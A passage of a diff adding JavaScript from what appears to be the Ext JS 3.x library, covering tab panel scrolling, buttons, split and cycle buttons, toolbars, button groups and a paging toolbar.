{ + this.suspendUpdates = true +}, endUpdate:function () { + this.suspendUpdates = false; + this.delegateUpdates() +}, hideTabStripItem:function (b) { + b = this.getComponent(b); + var a = this.getTabEl(b); + if (a) { + a.style.display = "none"; + this.delegateUpdates() + } + this.stack.remove(b) +}, unhideTabStripItem:function (b) { + b = this.getComponent(b); + var a = this.getTabEl(b); + if (a) { + a.style.display = ""; + this.delegateUpdates() + } +}, delegateUpdates:function () { + var a = this.rendered; + if (this.suspendUpdates) { + return + } + if (this.resizeTabs && a) { + this.autoSizeTabs() + } + if (this.enableTabScroll && a) { + this.autoScrollTabs() + } +}, autoSizeTabs:function () { + var h = this.items.length, b = this.tabPosition != "bottom" ? "header" : "footer", c = this[b].dom.offsetWidth, a = this[b].dom.clientWidth; + if (!this.resizeTabs || h < 1 || !a) { + return + } + var k = Math.max(Math.min(Math.floor((a - 4) / h) - this.tabMargin, this.tabWidth), this.minTabWidth); + this.lastTabWidth = k; + var m = this.strip.query("li:not(.x-tab-edge)"); + for (var e = 0, j = m.length; e < j; e++) { + var l = m[e], n = Ext.fly(l).child(".x-tab-strip-inner", true), g = l.offsetWidth, d = n.offsetWidth; + n.style.width = (k - (g - d)) + "px" + } +}, adjustBodyWidth:function (a) { + if (this.header) { + this.header.setWidth(a) + } + if (this.footer) { + this.footer.setWidth(a) + } + return a +}, setActiveTab:function (c) { + c = this.getComponent(c); + if (this.fireEvent("beforetabchange", this, c, this.activeTab) === false) { + return + } + if (!this.rendered) { + this.activeTab = c; + return + } + if (this.activeTab != c) { + if (this.activeTab) { + var a = this.getTabEl(this.activeTab); + if (a) { + Ext.fly(a).removeClass("x-tab-strip-active") + } + } + this.activeTab = c; + if (c) { + var b = this.getTabEl(c); + Ext.fly(b).addClass("x-tab-strip-active"); + this.stack.add(c); + this.layout.setActiveItem(c); + this.delegateUpdates(); + if (this.scrolling) { + this.scrollToTab(c, this.animScroll) + } + } + this.fireEvent("tabchange", this, c) + } +}, getActiveTab:function () { + return this.activeTab || null +}, getItem:function (a) { + return this.getComponent(a) +}, autoScrollTabs:function () { + this.pos = this.tabPosition == "bottom" ? this.footer : this.header; + var h = this.items.length, d = this.pos.dom.offsetWidth, c = this.pos.dom.clientWidth, g = this.stripWrap, e = g.dom, b = e.offsetWidth, i = this.getScrollPos(), a = this.edge.getOffsetsTo(this.stripWrap)[0] + i; + if (!this.enableTabScroll || b < 20) { + return + } + if (h == 0 || a <= c) { + e.scrollLeft = 0; + g.setWidth(c); + if (this.scrolling) { + this.scrolling = false; + this.pos.removeClass("x-tab-scrolling"); + this.scrollLeft.hide(); + this.scrollRight.hide(); + if (Ext.isAir || Ext.isWebKit) { + e.style.marginLeft = ""; + e.style.marginRight = "" + } + } + } else { + if (!this.scrolling) { + this.pos.addClass("x-tab-scrolling"); + if (Ext.isAir || Ext.isWebKit) { + e.style.marginLeft = "18px"; + e.style.marginRight = "18px" + } + } + c -= g.getMargins("lr"); + g.setWidth(c > 20 ? c : 20); + if (!this.scrolling) { + if (!this.scrollLeft) { + this.createScrollers() + } else { + this.scrollLeft.show(); + this.scrollRight.show() + } + } + this.scrolling = true; + if (i > (a - c)) { + e.scrollLeft = a - c + } else { + this.scrollToTab(this.activeTab, false) + } + this.updateScrollButtons() + } +}, createScrollers:function () { + this.pos.addClass("x-tab-scrolling-" + this.tabPosition); + var c = this.stripWrap.dom.offsetHeight; + var a = this.pos.insertFirst({cls:"x-tab-scroller-left"}); + a.setHeight(c); + a.addClassOnOver("x-tab-scroller-left-over"); + this.leftRepeater = new Ext.util.ClickRepeater(a, {interval:this.scrollRepeatInterval, handler:this.onScrollLeft, scope:this}); + this.scrollLeft = a; + var b = this.pos.insertFirst({cls:"x-tab-scroller-right"}); + b.setHeight(c); + b.addClassOnOver("x-tab-scroller-right-over"); + this.rightRepeater = new Ext.util.ClickRepeater(b, {interval:this.scrollRepeatInterval, handler:this.onScrollRight, scope:this}); + this.scrollRight = b +}, getScrollWidth:function () { + return this.edge.getOffsetsTo(this.stripWrap)[0] + this.getScrollPos() +}, getScrollPos:function () { + return parseInt(this.stripWrap.dom.scrollLeft, 10) || 0 +}, getScrollArea:function () { + return parseInt(this.stripWrap.dom.clientWidth, 10) || 0 +}, getScrollAnim:function () { + return{duration:this.scrollDuration, callback:this.updateScrollButtons, scope:this} +}, getScrollIncrement:function () { + return this.scrollIncrement || (this.resizeTabs ? this.lastTabWidth + 2 : 100) +}, scrollToTab:function (e, a) { + if (!e) { + return + } + var c = this.getTabEl(e), h = this.getScrollPos(), d = this.getScrollArea(), g = Ext.fly(c).getOffsetsTo(this.stripWrap)[0] + h, b = g + c.offsetWidth; + if (g < h) { + this.scrollTo(g, a) + } else { + if (b > (h + d)) { + this.scrollTo(b - d, a) + } + } +}, scrollTo:function (b, a) { + this.stripWrap.scrollTo("left", b, a ? this.getScrollAnim() : false); + if (!a) { + this.updateScrollButtons() + } +}, onWheel:function (g) { + var h = g.getWheelDelta() * this.wheelIncrement * -1; + g.stopEvent(); + var i = this.getScrollPos(), c = i + h, a = this.getScrollWidth() - this.getScrollArea(); + var b = Math.max(0, Math.min(a, c)); + if (b != i) { + this.scrollTo(b, false) + } +}, onScrollRight:function () { + var a = this.getScrollWidth() - this.getScrollArea(), c = this.getScrollPos(), b = Math.min(a, c + this.getScrollIncrement()); + if (b != c) { + this.scrollTo(b, this.animScroll) + } +}, onScrollLeft:function () { + var b = this.getScrollPos(), a = Math.max(0, b - this.getScrollIncrement()); + if (a != b) { + this.scrollTo(a, this.animScroll) + } +}, updateScrollButtons:function () { + var a = this.getScrollPos(); + this.scrollLeft[a === 0 ? "addClass" : "removeClass"]("x-tab-scroller-left-disabled"); + this.scrollRight[a >= (this.getScrollWidth() - this.getScrollArea()) ? "addClass" : "removeClass"]("x-tab-scroller-right-disabled") +}, beforeDestroy:function () { + Ext.destroy(this.leftRepeater, this.rightRepeater); + this.deleteMembers("strip", "edge", "scrollLeft", "scrollRight", "stripWrap"); + this.activeTab = null; + Ext.TabPanel.superclass.beforeDestroy.apply(this) +}}); +Ext.reg("tabpanel", Ext.TabPanel); +Ext.TabPanel.prototype.activate = Ext.TabPanel.prototype.setActiveTab; +Ext.TabPanel.AccessStack = function () { + var a = []; + return{add:function (b) { + a.push(b); + if (a.length > 10) { + a.shift() + } + }, remove:function (e) { + var d = []; + for (var c = 0, b = a.length; c < b; c++) { + if (a[c] != e) { + d.push(a[c]) + } + } + a = d + }, next:function () { + return a.pop() + }} +}; +Ext.Button = Ext.extend(Ext.BoxComponent, {hidden:false, disabled:false, pressed:false, enableToggle:false, menuAlign:"tl-bl?", type:"button", menuClassTarget:"tr:nth(2)", clickEvent:"click", handleMouseEvents:true, tooltipType:"qtip", buttonSelector:"button:first-child", scale:"small", iconAlign:"left", arrowAlign:"right", initComponent:function () { + if (this.menu) { + if (Ext.isArray(this.menu)) { + this.menu = {items:this.menu} + } + if (Ext.isObject(this.menu)) { + this.menu.ownerCt = this + } + this.menu = Ext.menu.MenuMgr.get(this.menu); + this.menu.ownerCt = undefined + } + Ext.Button.superclass.initComponent.call(this); + this.addEvents("click", "toggle", "mouseover", "mouseout", "menushow", "menuhide", "menutriggerover", "menutriggerout"); + if (Ext.isString(this.toggleGroup)) { + this.enableToggle = true + } +}, getTemplateArgs:function () { + return[this.type, "x-btn-" + this.scale + " x-btn-icon-" + this.scale + "-" + this.iconAlign, this.getMenuClass(), this.cls, this.id] +}, setButtonClass:function () { + if (this.useSetClass) { + if (!Ext.isEmpty(this.oldCls)) { + this.el.removeClass([this.oldCls, "x-btn-pressed"]) + } + this.oldCls = (this.iconCls || this.icon) ? (this.text ? "x-btn-text-icon" : "x-btn-icon") : "x-btn-noicon"; + this.el.addClass([this.oldCls, this.pressed ? "x-btn-pressed" : null]) + } +}, getMenuClass:function () { + return this.menu ? (this.arrowAlign != "bottom" ? "x-btn-arrow" : "x-btn-arrow-bottom") : "" +}, onRender:function (c, a) { + if (!this.template) { + if (!Ext.Button.buttonTemplate) { + Ext.Button.buttonTemplate = new Ext.Template('', '', '', '', "
      
      
      
    "); + Ext.Button.buttonTemplate.compile() + } + this.template = Ext.Button.buttonTemplate + } + var b, d = this.getTemplateArgs(); + if (a) { + b = this.template.insertBefore(a, d, true) + } else { + b = this.template.append(c, d, true) + } + this.btnEl = b.child(this.buttonSelector); + this.mon(this.btnEl, {scope:this, focus:this.onFocus, blur:this.onBlur}); + this.initButtonEl(b, this.btnEl); + Ext.ButtonToggleMgr.register(this) +}, initButtonEl:function (b, c) { + this.el = b; + this.setIcon(this.icon); + this.setText(this.text); + this.setIconClass(this.iconCls); + if (Ext.isDefined(this.tabIndex)) { + c.dom.tabIndex = this.tabIndex + } + if (this.tooltip) { + this.setTooltip(this.tooltip, true) + } + if (this.handleMouseEvents) { + this.mon(b, {scope:this, mouseover:this.onMouseOver, mousedown:this.onMouseDown}) + } + if (this.menu) { + this.mon(this.menu, {scope:this, show:this.onMenuShow, hide:this.onMenuHide}) + } + if (this.repeat) { + var a = new Ext.util.ClickRepeater(b, Ext.isObject(this.repeat) ? this.repeat : {}); + this.mon(a, "click", this.onRepeatClick, this) + } else { + this.mon(b, this.clickEvent, this.onClick, this) + } +}, afterRender:function () { + Ext.Button.superclass.afterRender.call(this); + this.useSetClass = true; + this.setButtonClass(); + this.doc = Ext.getDoc(); + this.doAutoWidth() +}, setIconClass:function (a) { + this.iconCls = a; + if (this.el) { + this.btnEl.dom.className = ""; + this.btnEl.addClass(["x-btn-text", a || ""]); + this.setButtonClass() + } + return this +}, setTooltip:function (b, a) { + if (this.rendered) { + if (!a) { + this.clearTip() + } + if (Ext.isObject(b)) { + Ext.QuickTips.register(Ext.apply({target:this.btnEl.id}, b)); + this.tooltip = b + } else { + this.btnEl.dom[this.tooltipType] = b + } + } else { + this.tooltip = b + } + return this +}, clearTip:function () { + if (Ext.isObject(this.tooltip)) { + Ext.QuickTips.unregister(this.btnEl) + } +}, beforeDestroy:function () { + if (this.rendered) { + this.clearTip() + } + if (this.menu && this.destroyMenu !== false) { + Ext.destroy(this.btnEl, this.menu) + } + Ext.destroy(this.repeater) +}, onDestroy:function () { + if (this.rendered) { + this.doc.un("mouseover", this.monitorMouseOver, this); + this.doc.un("mouseup", this.onMouseUp, this); + delete this.doc; + delete this.btnEl; + Ext.ButtonToggleMgr.unregister(this) + } + Ext.Button.superclass.onDestroy.call(this) +}, doAutoWidth:function () { + if (this.autoWidth !== false && this.el && this.text && this.width === undefined) { + this.el.setWidth("auto"); + if (Ext.isIE7 && Ext.isStrict) { + var a = this.btnEl; + if (a && a.getWidth() > 20) { + a.clip(); + a.setWidth(Ext.util.TextMetrics.measure(a, this.text).width + a.getFrameWidth("lr")) + } + } + if (this.minWidth) { + if (this.el.getWidth() < this.minWidth) { + this.el.setWidth(this.minWidth) + } + } + } +}, setHandler:function (b, a) { + this.handler = b; + this.scope = a; + return this +}, setText:function (a) { + this.text = a; + if (this.el) { + this.btnEl.update(a || " "); + this.setButtonClass() + } + this.doAutoWidth(); + return this +}, setIcon:function (a) { + this.icon = a; + if (this.el) { + this.btnEl.setStyle("background-image", a ? "url(" + a + ")" : ""); + this.setButtonClass() + } + return this +}, getText:function () { + return this.text +}, toggle:function (b, a) { + b = b === undefined ? !this.pressed : !!b; + if (b != this.pressed) { + if (this.rendered) { + this.el[b ? "addClass" : "removeClass"]("x-btn-pressed") + } + this.pressed = b; + if (!a) { + this.fireEvent("toggle", this, b); + if (this.toggleHandler) { + this.toggleHandler.call(this.scope || this, this, b) + } + } + } + return this +}, onDisable:function () { + this.onDisableChange(true) +}, onEnable:function () { + this.onDisableChange(false) +}, onDisableChange:function (a) { + if (this.el) { + if (!Ext.isIE6 || !this.text) { + this.el[a ? "addClass" : "removeClass"](this.disabledClass) + } + this.el.dom.disabled = a + } + this.disabled = a +}, showMenu:function () { + if (this.rendered && this.menu) { + if (this.tooltip) { + Ext.QuickTips.getQuickTip().cancelShow(this.btnEl) + } + if (this.menu.isVisible()) { + this.menu.hide() + } + this.menu.ownerCt = this; + this.menu.show(this.el, this.menuAlign) + } + return this +}, hideMenu:function () { + if (this.hasVisibleMenu()) { + this.menu.hide() + } + return this +}, hasVisibleMenu:function () { + return this.menu && this.menu.ownerCt == this && this.menu.isVisible() +}, onRepeatClick:function (a, b) { + this.onClick(b) +}, onClick:function (a) { + if (a) { + a.preventDefault() + } + if (a.button !== 0) { + return + } + if (!this.disabled) { + this.doToggle(); + if (this.menu && !this.hasVisibleMenu() && !this.ignoreNextClick) { + this.showMenu() + } + this.fireEvent("click", this, a); + if (this.handler) { + this.handler.call(this.scope || this, this, a) + } + } +}, doToggle:function () { + if (this.enableToggle && (this.allowDepress !== false || !this.pressed)) { + this.toggle() + } +}, isMenuTriggerOver:function (b, a) { + return this.menu && !a +}, isMenuTriggerOut:function (b, a) { + return this.menu && !a +}, onMouseOver:function (b) { + if (!this.disabled) { + var a = b.within(this.el, true); + if (!a) { + this.el.addClass("x-btn-over"); + if (!this.monitoringMouseOver) { + this.doc.on("mouseover", this.monitorMouseOver, this); + this.monitoringMouseOver = true + } + this.fireEvent("mouseover", this, b) + } + if (this.isMenuTriggerOver(b, a)) { + this.fireEvent("menutriggerover", this, this.menu, b) + } + } +}, monitorMouseOver:function (a) { + if (a.target != this.el.dom && !a.within(this.el)) { + if (this.monitoringMouseOver) { + this.doc.un("mouseover", this.monitorMouseOver, this); + this.monitoringMouseOver = false + } + this.onMouseOut(a) + } +}, onMouseOut:function (b) { + var a = b.within(this.el) && b.target != this.el.dom; + this.el.removeClass("x-btn-over"); + this.fireEvent("mouseout", this, b); + if (this.isMenuTriggerOut(b, a)) { + this.fireEvent("menutriggerout", this, this.menu, b) + } +}, focus:function () { + this.btnEl.focus() +}, blur:function () { + this.btnEl.blur() +}, onFocus:function (a) { + if (!this.disabled) { + this.el.addClass("x-btn-focus") + } +}, onBlur:function (a) { + this.el.removeClass("x-btn-focus") +}, getClickEl:function (b, a) { + return this.el +}, onMouseDown:function (a) { + if (!this.disabled && a.button === 0) { + this.getClickEl(a).addClass("x-btn-click"); + this.doc.on("mouseup", this.onMouseUp, this) + } +}, onMouseUp:function (a) { + if (a.button === 0) { + this.getClickEl(a, true).removeClass("x-btn-click"); + this.doc.un("mouseup", this.onMouseUp, this) + } +}, onMenuShow:function (a) { + if (this.menu.ownerCt == this) { + this.menu.ownerCt = this; + this.ignoreNextClick = 0; + this.el.addClass("x-btn-menu-active"); + this.fireEvent("menushow", this, this.menu) + } +}, onMenuHide:function (a) { + if (this.menu.ownerCt == this) { + this.el.removeClass("x-btn-menu-active"); + this.ignoreNextClick = this.restoreClick.defer(250, this); + this.fireEvent("menuhide", this, this.menu); + delete this.menu.ownerCt + } +}, restoreClick:function () { + this.ignoreNextClick = 0 +}}); +Ext.reg("button", Ext.Button); +Ext.ButtonToggleMgr = function () { + var a = {}; + + function b(e, j) { + if (j) { + var h = a[e.toggleGroup]; + for (var d = 0, c = h.length; d < c; d++) { + if (h[d] != e) { + h[d].toggle(false) + } + } + } + } + + return{register:function (c) { + if (!c.toggleGroup) { + return + } + var d = a[c.toggleGroup]; + if (!d) { + d = a[c.toggleGroup] = [] + } + d.push(c); + c.on("toggle", b) + }, unregister:function (c) { + if (!c.toggleGroup) { + return + } + var d = a[c.toggleGroup]; + if (d) { + d.remove(c); + c.un("toggle", b) + } + }, getPressed:function (h) { + var e = a[h]; + if (e) { + for (var d = 0, c = e.length; d < c; d++) { + if (e[d].pressed === true) { + return e[d] + } + } + } + return null + }} +}(); +Ext.SplitButton = Ext.extend(Ext.Button, {arrowSelector:"em", split:true, initComponent:function () { + Ext.SplitButton.superclass.initComponent.call(this); + this.addEvents("arrowclick") +}, onRender:function () { + Ext.SplitButton.superclass.onRender.apply(this, arguments); + if (this.arrowTooltip) { + this.el.child(this.arrowSelector).dom[this.tooltipType] = this.arrowTooltip + } +}, setArrowHandler:function (b, a) { + this.arrowHandler = b; + this.scope = a +}, getMenuClass:function () { + return"x-btn-split" + (this.arrowAlign == "bottom" ? "-bottom" : "") +}, isClickOnArrow:function (c) { + if (this.arrowAlign != "bottom") { + var b = this.el.child("em.x-btn-split"); + var a = b.getRegion().right - b.getPadding("r"); + return c.getPageX() > a + } else { + return c.getPageY() > this.btnEl.getRegion().bottom + } +}, onClick:function (b, a) { + b.preventDefault(); + if (!this.disabled) { + if (this.isClickOnArrow(b)) { + if (this.menu && !this.menu.isVisible() && !this.ignoreNextClick) { + this.showMenu() + } + this.fireEvent("arrowclick", this, b); + if (this.arrowHandler) { + this.arrowHandler.call(this.scope || this, this, b) + } + } else { + this.doToggle(); + this.fireEvent("click", this, b); + if (this.handler) { + this.handler.call(this.scope || this, this, b) + } + } + } +}, isMenuTriggerOver:function (a) { + return this.menu && a.target.tagName == this.arrowSelector +}, isMenuTriggerOut:function (b, a) { + return this.menu && b.target.tagName != this.arrowSelector +}}); +Ext.reg("splitbutton", Ext.SplitButton); +Ext.CycleButton = Ext.extend(Ext.SplitButton, {getItemText:function (a) { + if (a && this.showText === true) { + var b = ""; + if (this.prependText) { + b += this.prependText + } + b += a.text; + return b + } + return undefined +}, setActiveItem:function (c, a) { + if (!Ext.isObject(c)) { + c = this.menu.getComponent(c) + } + if (c) { + if (!this.rendered) { + this.text = this.getItemText(c); + this.iconCls = c.iconCls + } else { + var b = this.getItemText(c); + if (b) { + this.setText(b) + } + this.setIconClass(c.iconCls) + } + this.activeItem = c; + if (!c.checked) { + c.setChecked(true, a) + } + if (this.forceIcon) { + this.setIconClass(this.forceIcon) + } + if (!a) { + this.fireEvent("change", this, c) + } + } +}, getActiveItem:function () { + return this.activeItem +}, initComponent:function () { + this.addEvents("change"); + if (this.changeHandler) { + this.on("change", this.changeHandler, this.scope || this); + delete this.changeHandler + } + this.itemCount = this.items.length; + this.menu = {cls:"x-cycle-menu", items:[]}; + var a = 0; + Ext.each(this.items, function (c, b) { + Ext.apply(c, {group:c.group || this.id, itemIndex:b, checkHandler:this.checkHandler, scope:this, checked:c.checked || false}); + this.menu.items.push(c); + if (c.checked) { + a = b + } + }, this); + Ext.CycleButton.superclass.initComponent.call(this); + this.on("click", this.toggleSelected, this); + this.setActiveItem(a, true) +}, checkHandler:function (a, b) { + if (b) { + this.setActiveItem(a) + } +}, toggleSelected:function () { + var a = this.menu; + a.render(); + if (!a.hasLayout) { + a.doLayout() + } + var d, b; + for (var c = 1; c < this.itemCount; c++) { + d = (this.activeItem.itemIndex + c) % this.itemCount; + b = a.items.itemAt(d); + if (!b.disabled) { + b.setChecked(true); + break + } + } +}}); +Ext.reg("cycle", Ext.CycleButton); +Ext.Toolbar = function (a) { + if (Ext.isArray(a)) { + a = {items:a, layout:"toolbar"} + } else { + a = Ext.apply({layout:"toolbar"}, a); + if (a.buttons) { + a.items = a.buttons + } + } + Ext.Toolbar.superclass.constructor.call(this, a) +}; +(function () { + var a = Ext.Toolbar; + Ext.extend(a, Ext.Container, {defaultType:"button", enableOverflow:false, trackMenus:true, internalDefaults:{removeMode:"container", hideParent:true}, toolbarCls:"x-toolbar", initComponent:function () { + a.superclass.initComponent.call(this); + this.addEvents("overflowchange") + }, onRender:function (c, b) { + if (!this.el) { + if (!this.autoCreate) { + this.autoCreate = {cls:this.toolbarCls + " x-small-editor"} + } + this.el = c.createChild(Ext.apply({id:this.id}, this.autoCreate), b); + Ext.Toolbar.superclass.onRender.apply(this, arguments) + } + }, lookupComponent:function (b) { + if (Ext.isString(b)) { + if (b == "-") { + b = new a.Separator() + } else { + if (b == " ") { + b = new a.Spacer() + } else { + if (b == "->") { + b = new a.Fill() + } else { + b = new a.TextItem(b) + } + } + } + this.applyDefaults(b) + } else { + if (b.isFormField || b.render) { + b = this.createComponent(b) + } else { + if (b.tag) { + b = new a.Item({autoEl:b}) + } else { + if (b.tagName) { + b = new a.Item({el:b}) + } else { + if (Ext.isObject(b)) { + b = b.xtype ? this.createComponent(b) : this.constructButton(b) + } + } + } + } + } + return b + }, applyDefaults:function (e) { + if (!Ext.isString(e)) { + e = Ext.Toolbar.superclass.applyDefaults.call(this, e); + var b = this.internalDefaults; + if (e.events) { + Ext.applyIf(e.initialConfig, b); + Ext.apply(e, b) + } else { + Ext.applyIf(e, b) + } + } + return e + }, addSeparator:function () { + return this.add(new a.Separator()) + }, addSpacer:function () { + return this.add(new a.Spacer()) + }, addFill:function () { + this.add(new a.Fill()) + }, addElement:function (b) { + return this.addItem(new a.Item({el:b})) + }, addItem:function (b) { + return this.add.apply(this, arguments) + }, addButton:function (c) { + if (Ext.isArray(c)) { + var e = []; + for (var d = 0, b = c.length; d < b; d++) { + e.push(this.addButton(c[d])) + } + return e + } + return this.add(this.constructButton(c)) + }, addText:function (b) { + return this.addItem(new a.TextItem(b)) + }, addDom:function (b) { + return this.add(new a.Item({autoEl:b})) + }, addField:function (b) { + return this.add(b) + }, insertButton:function (c, g) { + if (Ext.isArray(g)) { + var e = []; + for (var d = 0, b = g.length; d < b; d++) { + e.push(this.insertButton(c + d, g[d])) + } + return e + } + return Ext.Toolbar.superclass.insert.call(this, c, g) + }, trackMenu:function (c, b) { + if (this.trackMenus && c.menu) { + var d = b ? "mun" : "mon"; + this[d](c, "menutriggerover", this.onButtonTriggerOver, this); + this[d](c, "menushow", this.onButtonMenuShow, this); + this[d](c, "menuhide", this.onButtonMenuHide, this) + } + }, constructButton:function (d) { + var c = d.events ? d : this.createComponent(d, d.split ? "splitbutton" : this.defaultType); + return c + }, onAdd:function (b) { + Ext.Toolbar.superclass.onAdd.call(this); + this.trackMenu(b); + if (this.disabled) { + b.disable() + } + }, onRemove:function (b) { + Ext.Toolbar.superclass.onRemove.call(this); + if (b == this.activeMenuBtn) { + delete this.activeMenuBtn + } + this.trackMenu(b, true) + }, onDisable:function () { + this.items.each(function (b) { + if (b.disable) { + b.disable() + } + }) + }, onEnable:function () { + this.items.each(function (b) { + if (b.enable) { + b.enable() + } + }) + }, onButtonTriggerOver:function (b) { + if (this.activeMenuBtn && this.activeMenuBtn != b) { + this.activeMenuBtn.hideMenu(); + b.showMenu(); + this.activeMenuBtn = b + } + }, onButtonMenuShow:function (b) { + this.activeMenuBtn = b + }, onButtonMenuHide:function (b) { + delete this.activeMenuBtn + }}); + Ext.reg("toolbar", Ext.Toolbar); + a.Item = Ext.extend(Ext.BoxComponent, {hideParent:true, enable:Ext.emptyFn, disable:Ext.emptyFn, focus:Ext.emptyFn}); + Ext.reg("tbitem", a.Item); + a.Separator = Ext.extend(a.Item, {onRender:function (c, b) { + this.el = c.createChild({tag:"span", cls:"xtb-sep"}, b) + }}); + Ext.reg("tbseparator", a.Separator); + a.Spacer = Ext.extend(a.Item, {onRender:function (c, b) { + this.el = c.createChild({tag:"div", cls:"xtb-spacer", style:this.width ? "width:" + this.width + "px" : ""}, b) + }}); + Ext.reg("tbspacer", a.Spacer); + a.Fill = Ext.extend(a.Item, {render:Ext.emptyFn, isFill:true}); + Ext.reg("tbfill", a.Fill); + a.TextItem = Ext.extend(a.Item, {constructor:function (b) { + a.TextItem.superclass.constructor.call(this, Ext.isString(b) ? {text:b} : b) + }, onRender:function (c, b) { + this.autoEl = {cls:"xtb-text", html:this.text || ""}; + a.TextItem.superclass.onRender.call(this, c, b) + }, setText:function (b) { + if (this.rendered) { + this.el.update(b) + } else { + this.text = b + } + }}); + Ext.reg("tbtext", a.TextItem); + a.Button = Ext.extend(Ext.Button, {}); + a.SplitButton = Ext.extend(Ext.SplitButton, {}); + Ext.reg("tbbutton", a.Button); + Ext.reg("tbsplit", a.SplitButton) +})(); +Ext.ButtonGroup = Ext.extend(Ext.Panel, {baseCls:"x-btn-group", layout:"table", defaultType:"button", frame:true, internalDefaults:{removeMode:"container", hideParent:true}, initComponent:function () { + this.layoutConfig = this.layoutConfig || {}; + Ext.applyIf(this.layoutConfig, {columns:this.columns}); + if (!this.title) { + this.addClass("x-btn-group-notitle") + } + this.on("afterlayout", this.onAfterLayout, this); + Ext.ButtonGroup.superclass.initComponent.call(this) +}, applyDefaults:function (b) { + b = Ext.ButtonGroup.superclass.applyDefaults.call(this, b); + var a = this.internalDefaults; + if (b.events) { + Ext.applyIf(b.initialConfig, a); + Ext.apply(b, a) + } else { + Ext.applyIf(b, a) + } + return b +}, onAfterLayout:function () { + var a = this.body.getFrameWidth("lr") + this.body.dom.firstChild.offsetWidth; + this.body.setWidth(a); + this.el.setWidth(a + this.getFrameWidth()) +}}); +Ext.reg("buttongroup", Ext.ButtonGroup); +(function () { + var a = Ext.Toolbar; + Ext.PagingToolbar = Ext.extend(Ext.Toolbar, {pageSize:20, displayMsg:"Displaying {0} - {1} of {2}", emptyMsg:"No data to display", beforePageText:"Page", afterPageText:"of {0}", firstText:"First Page", prevText:"Previous Page", nextText:"Next Page", lastText:"Last Page", refreshText:"Refresh", initComponent:function () { + var c = [this.first = new a.Button({tooltip:this.firstText, overflowText:this.firstText, iconCls:"x-tbar-page-first", disabled:true, handler:this.moveFirst, scope:this}), this.prev = new a.Button({tooltip:this.prevText, overflowText:this.prevText, iconCls:"x-tbar-page-prev", disabled:true, handler:this.movePrevious, scope:this}), "-", this.beforePageText, this.inputItem = new Ext.form.NumberField({cls:"x-tbar-page-number", allowDecimals:false, allowNegative:false, enableKeyEvents:true, selectOnFocus:true, submitValue:false, listeners:{scope:this, keydown:this.onPagingKeyDown, blur:this.onPagingBlur}}), this.afterTextItem = new a.TextItem({text:String.format(this.afterPageText, 1)}), "-", this.next = new a.Button({tooltip:this.nextText, overflowText:this.nextText, iconCls:"x-tbar-page-next", disabled:true, handler:this.moveNext, scope:this}), this.last = new a.Button({tooltip:this.lastText, overflowText:this.lastText, iconCls:"x-tbar-page-last", disabled:true, handler:this.moveLast, scope:this}), "-", this.refresh = new a.Button({tooltip:this.refreshText, overflowText:this.refreshText, iconCls:"x-tbar-loading", handler:this.doRefresh, scope:this})]; + var b = this.items || this.buttons || []; + if (this.prependButtons) { + this.items = b.concat(c) + } else { + this.items = c.concat(b) + } + delete this.buttons; + if (this.displayInfo) { + this.items.push("->"); + this.items.push(this.displayItem = new a.TextItem({})) + } + Ext.PagingToolbar.superclass.initComponent.call(this); + this.addEvents("change", "beforechange"); + this.on("afterlayout", this.onFirstLayout, this, {single:true}); + this.cursor = 0; + this.bindStore(this.store, true) + }, onFirstLayout:function () { + if (this.dsLoaded) { + this.onLoad.apply(this, this.dsLoaded) + } + }, updateInfo:function () { + if (this.displayItem) { + var b = this.store.getCount(); + var c = b == 0 ? this.emptyMsg : String.format(this.displayMsg, this.cursor + 1, this.cursor + b, this.store.getTotalCount()); + this.displayItem.setText(c) + } + }, onLoad:function (b, e, j) { + if (!this.rendered) { + this.dsLoaded = [b, e, j]; + return + } + var g = this.getParams(); + this.cursor = (j.params && j.params[g.start]) ? j.params[g.start] : 0; + var i = this.getPageData(), c = i.activePage, h = i.pages; + this.afterTextItem.setText(String.format(this.afterPageText, i.pages)); + this.inputItem.setValue(c); + this.first.setDisabled(c == 1); + this.prev.setDisabled(c == 1); + this.next.setDisabled(c == h); + this.last.setDisabled(c == h); + this.refresh.enable(); + this.updateInfo(); + this.fireEvent("change", this, i) + }, getPageData:function () { + var b = this.store.getTotalCount(); + return{total:b, activePage:Math.ceil((this.cursor + this.pageSize) / this.pageSize), pages:b < this.pageSize ? 1 : Math.ceil(b / this.pageSize)} + }, changePage:function (b) { + this.doLoad(((b - 1) * this.pageSize).constrain(0, this.store.getTotalCount())) + }, onLoadError:function () { + if (!this.rendered) { + return + } + this.refresh.enable() + }, readPage:function (e) { + var b = this.inputItem.getValue(), c; + if (!b || isNaN(c = parseInt(b, 10))) { + this.inputItem.setValue(e.activePage); + return false + } + return c + }, onPagingFocus:function () { + this.inputItem.select() + }, onPagingBlur:function (b) { + this.inputItem.setValue(this.getPageData().activePage) + }, onPagingKeyDown:function (i, h) { + var c = h.getKey(), j = this.getPageData(), g; + if (c == h.RETURN) { + h.stopEvent(); + g = this.readPage(j); + if (g !== false) { + g = Math.min(Math.max(1, g), j.pages) - 1; + this.doLoad(g * this.pageSize) + } + } else { + if (c == h.HOME || c == h.END) { + h.stopEvent(); + g = c == h.HOME ? 1 : j.pages; + i.setValue(g) + } else { + if (c == h.UP || c == h.PAGEUP || c == h.DOWN || c == h.PAGEDOWN) { + h.stopEvent(); + if ((g = this.readPage(j))) { + var b = h.shiftKey ? 10 : 1; + if (c == h.DOWN || c == h.PAGEDOWN) { + b *= -1 + } + g += b; + if (g >= 1 & g <= j.pages) { + i.setValue(g) + } + } + } + } + } + }, getParams:function () { + return this.paramNames || this.store.paramNames + }, beforeLoad:function () { + if (this.rendered && this.refresh) { + this.refresh.disable() + } + }, doLoad:function (d) { + var c = {}, b = this.getParams(); + c[b.start] = d; + c[b.limit] = this.pageSize; + if (this.fireEvent("beforechange", this, c) !== false) { + this.store.load({params:c}) + } + }, moveFirst:function () { + this.doLoad(0) + }, movePrevious:function () { + this.doLoad(Math.max(0, this.cursor - this.pageSize)) + }, moveNext:function () { + this.doLoad(this.cursor + this.pageSize) + }, moveLast:function () { + var c = this.store.getTotalCount(), b = c % this.pageSize; + this.doLoad(b ? (c - b) : c - this.pageSize) + }, doRefresh:function () { + this.doLoad(this.cursor) + }, bindStore:function (c, d) { + var b; + if (!d && this.store) { + if (c !== this.store && this.store.autoDestroy) { + this.store.destroy() + } else { + this.store.un("beforeload", this.beforeLoad, this); + this.store.un("load", this.onLoad, this); + this.store.un("exception", this.onLoadError, this) + } + if (!c) { + this.store = null + } + } + if (c) { + c = Ext.StoreMgr.lookup(c); + c.on({scope:this, beforeload:this.beforeLoad, load:this.onLoad, exception:this.onLoadError}); + b = true + } + this.store = c; + if (b) { + this.onLoad(c, null, 